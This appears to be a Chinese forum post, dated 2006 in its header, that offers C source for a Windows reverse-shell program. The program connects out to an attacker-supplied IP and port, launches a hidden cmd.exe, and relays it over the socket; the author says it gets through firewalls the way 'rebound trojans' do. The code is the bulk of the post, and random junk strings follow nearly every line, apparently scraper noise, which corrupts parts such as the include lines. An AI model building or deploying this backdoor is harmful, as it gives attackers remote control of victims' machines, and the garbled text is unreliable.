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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nhy:5eSK  
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/* ============================== ${{[g16X  
Rebound port in Windows NT WI1DL&*B@<  
By wind,2006/7 snP]&l+  
===============================*/ d+p^fBz  
#include I#/"6%e  
#include q{l %k  
t1ers> h  
#pragma comment(lib,"wsock32.lib") *X uIA-9  
3,0b<vfSv  
void OutputShell(); MDCwgNPiQW  
SOCKET sClient; d)kOW!5\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^B$cfs@*  
M^{=&  
void main(int argc,char **argv) 89UR w9  
{ {~`{bnx^]7  
WSADATA stWsaData; pfQ3Y$z  
int nRet; YBL.R;^v  
SOCKADDR_IN stSaiClient,stSaiServer; w1LZ\nA<  
gjzU%{T ?  
if(argc != 3) ',!>9Dj  
{ NAX`y2z  
printf("Useage:\n\rRebound DestIP DestPort\n"); (Rsf;VPO  
return; {wD:!\5  
} WsW]  1p  
M_h8{  
WSAStartup(MAKEWORD(2,2),&stWsaData); +z<GycIc?K  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JC# 5CCz  
70{B/ ($  
stSaiClient.sin_family = AF_INET; lE$(*1H  
stSaiClient.sin_port = htons(0); [I gqK5@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N!./u(b  
hjz`0AS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p\Fxt1Y@X  
{ [e o=  
printf("Bind Socket Failed!\n"); UAGh2?q2  
return; ;Irn{O  
} C=t9P#g*.  
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stSaiServer.sin_family = AF_INET; h0")NBRV&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ro=dgQ0:t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,I H~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DDj:(I?,w  
{ AWg'J  
printf("Connect Error!"); HMhdK  
return; ,z#S=I  
} OVGB7CB]S  
OutputShell(); .:O($9^Ho  
}  |CAMdU  
!Y 9V1oVf"  
void OutputShell() _<'?s>(U'  
{ T1%}H3  
char szBuff[1024]; xT-`dS0u  
SECURITY_ATTRIBUTES stSecurityAttributes; ^O!;KIe{g  
OSVERSIONINFO stOsversionInfo; TLq^5,qG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6?a z  
STARTUPINFO stStartupInfo; Zr(eH2}0D  
char *szShell; eQ*zi9na  
PROCESS_INFORMATION stProcessInformation; gHFQs](G.  
unsigned long lBytesRead; rDGrq9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v6ei47-  
n<1*cL:8B  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D^6Q`o  
stSecurityAttributes.lpSecurityDescriptor = 0; jp|*kBDq\  
stSecurityAttributes.bInheritHandle = TRUE; _w2%!+'  
h]/3doP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E=91k.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \Nk578+AA  
3R)|DGql=1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )4N1EuD6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]|u7P{Z"R  
stStartupInfo.wShowWindow = SW_HIDE; -@@ O<M^  
stStartupInfo.hStdInput = hReadPipe; 53>(2 _/[r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <d O ~;  
LI<Emez  
GetVersionEx(&stOsversionInfo); G8'  
ab`9MJc;  
switch(stOsversionInfo.dwPlatformId) sRZ?Ilua6  
{  FL b  
case 1: g_0| `Sm  
szShell = "command.com"; n2|@Hz_  
break; 0`Uw[Er&  
default: =Y*@8=V  
szShell = "cmd.exe"; "{Hl! Zq/  
break; pu_?) U  
} ]x(6^:D5  
cj[x%eK>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NKTy!zWh  
MI-S}Qoe  
send(sClient,szMsg,77,0); 6Hfv'X5E`Z  
while(1) V+r&Z<&  
{ N`4XlD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4*inN~cU  
if(lBytesRead) KD]`pqN9  
{ nm_4E8&X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); db@^CS[P  
send(sClient,szBuff,lBytesRead,0); 0O>M/ *W  
} QEMT'Cs  
else n5)ml)m  
{ Ti7 @{7>  
lBytesRead=recv(sClient,szBuff,1024,0); cP\ZeG#<  
if(lBytesRead<=0) break; !tb!%8{~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |oSqy  
} JJ'f\f9  
} Y!+H9R  
<[w5M?n8  
return; hj{)6dBX%  
}
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